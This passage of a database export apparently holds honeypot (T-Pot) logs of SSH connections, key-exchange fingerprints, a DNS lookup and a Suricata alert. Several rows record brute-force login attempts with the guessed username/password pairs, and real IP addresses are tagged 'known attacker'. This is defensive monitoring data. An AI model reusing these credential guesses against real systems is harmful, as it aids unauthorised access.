"aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 41446, "dest_port": 22, "timestamp": "2021-09-20T12:01:25.883880", "@timestamp": "2021-09-20T12:01:25.883Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	US
34528	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 15:01:26.510463+03	2021-09-20 15:15:02.009657+03	{"_id": "LAYVA3wBvYTbRNuEG1aK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.login.failed", "message": "login attempt [shadow/shadow123] failed", "session": "135a54a89cf9", "@version": "1", "password": "shadow123", "username": "shadow", "timestamp": "2021-09-20T12:01:26.510463Z", "@timestamp": "2021-09-20T12:01:26.510Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	US
34529	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 15:01:30.31656+03	2021-09-20 15:15:02.011656+03	{"_id": "OQYVA3wBvYTbRNuEJ1ZC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "48dba8486019", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:01:30.316560Z", "@timestamp": "2021-09-20T12:01:30.316Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	DE
34530	46.101.115.211	109.199.241.180	Suricata	2021-09-20 15:01:30.349612+03	2021-09-20 15:15:02.012656+03	{"_id": "OwYVA3wBvYTbRNuEKFZg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "flow_id": 1453167692369502, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38396, "dest_port": 22, "timestamp": "2021-09-20T12:01:30.349612Z", "@timestamp": "2021-09-20T12:01:30.349Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	DE
34531	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:01:29.939927+03	2021-09-20 15:15:02.013657+03	{"_id": "PAYVA3wBvYTbRNuEKFZg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 5879, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2585, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1434147429635024, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 36292, "timestamp": "2021-09-20T12:01:29.939927Z", "@timestamp": "2021-09-20T12:01:29.939Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
34532	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:01:30.038494+03	2021-09-20 15:15:02.015657+03	{"_id": "QQYVA3wBvYTbRNuEKVZp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35976, "timestamp": "2021-09-20T12:01:30.038494", "@timestamp": "2021-09-20T12:01:30.038Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
34533	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:01:30.317094+03	2021-09-20 15:15:02.016657+03	{"_id": "QgYVA3wBvYTbRNuEKVZq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "46.101.115.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38396, "timestamp": "2021-09-20T12:01:30.317094", "@timestamp": "2021-09-20T12:01:30.317Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34534	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 15:01:30.577512+03	2021-09-20 15:15:02.017656+03	{"_id": "SQYVA3wBvYTbRNuEK1Ys", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.login.failed", "message": "login attempt [socks/socks] failed", "session": "48dba8486019", "@version": "1", "password": "socks", "username": "socks", "timestamp": "2021-09-20T12:01:30.577512Z", "@timestamp": "2021-09-20T12:01:30.577Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	DE
34535	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:01:31.679545+03	2021-09-20 15:15:02.018657+03	{"_id": "TAYVA3wBvYTbRNuEL1YV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:33312 (192.168.176.2:22) [session: c6df0d066f2d]", "session": "c6df0d066f2d", "@version": "1", "protocol": "ssh", "src_port": 33312, "dest_port": 22, "timestamp": "2021-09-20T12:01:31.679545Z", "@timestamp": "2021-09-20T12:01:31.679Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
34536	46.101.115.211	109.199.241.180	Suricata	2021-09-20 15:01:30.349664+03	2021-09-20 15:15:02.020657+03	{"_id": "PgYVA3wBvYTbRNuEKFZh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:01:30.282206+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "46.101.115.211", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1453167692369502, "payload": "AAADzAYUT+5FxJK7oeHekcXtZtBuGQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38396, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:01:30.349664Z", "@timestamp": "2021-09-20T12:01:30.349Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......O.E.........f.n....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	DE
34537	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:01:29.995507+03	2021-09-20 15:15:02.021656+03	{"_id": "PwYVA3wBvYTbRNuEKVZo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35976, "dest_port": 443, "timestamp": "2021-09-20T12:01:29.995507", "@timestamp": "2021-09-20T12:01:29.995Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
34538	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:01:31.937088+03	2021-09-20 15:15:02.022657+03	{"_id": "TgYVA3wBvYTbRNuEL1YW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "c6df0d066f2d", "@version": "1", "timestamp": "2021-09-20T12:01:31.937088Z", "@timestamp": "2021-09-20T12:01:31.937Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
34539	218.92.0.190	109.199.241.180	Suricata	2021-09-20 15:01:31.936322+03	2021-09-20 15:15:02.024656+03	{"_id": "TwYVA3wBvYTbRNuEMFYy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 1689163260311414, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33312, "dest_port": 22, "timestamp": "2021-09-20T12:01:31.936322Z", "@timestamp": "2021-09-20T12:01:31.936Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
34540	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 15:01:25.748112+03	2021-09-20 15:15:02.025657+03	{"_id": "JQYVA3wBvYTbRNuEF1ah", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 107.0.200.227:41446 (192.168.176.2:22) [session: 135a54a89cf9]", "session": "135a54a89cf9", "@version": "1", "protocol": "ssh", "src_port": 41446, "dest_port": 22, "timestamp": "2021-09-20T12:01:25.748112Z", "@timestamp": "2021-09-20T12:01:25.748Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	US
34541	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 15:01:27.64659+03	2021-09-20 15:15:02.027655+03	{"_id": "LQYVA3wBvYTbRNuEH1Zy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "135a54a89cf9", "@version": "1", "duration": 1.8958404064178467, "timestamp": "2021-09-20T12:01:27.646590Z", "@timestamp": "2021-09-20T12:01:27.646Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	US
34542	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:01:33.327388+03	2021-09-20 15:15:02.028656+03	{"_id": "UwYVA3wBvYTbRNuEMlb-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/85208520] failed", "session": "c6df0d066f2d", "@version": "1", "password": "85208520", "username": "root", "timestamp": "2021-09-20T12:01:33.327388Z", "@timestamp": "2021-09-20T12:01:33.327Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
34543	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:01:34.59596+03	2021-09-20 15:15:02.029655+03	{"_id": "VAYVA3wBvYTbRNuEOlbP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/864978...adi] failed", "session": "c6df0d066f2d", "@version": "1", "password": "864978...adi", "username": "root", "timestamp": "2021-09-20T12:01:34.595960Z", "@timestamp": "2021-09-20T12:01:34.595Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
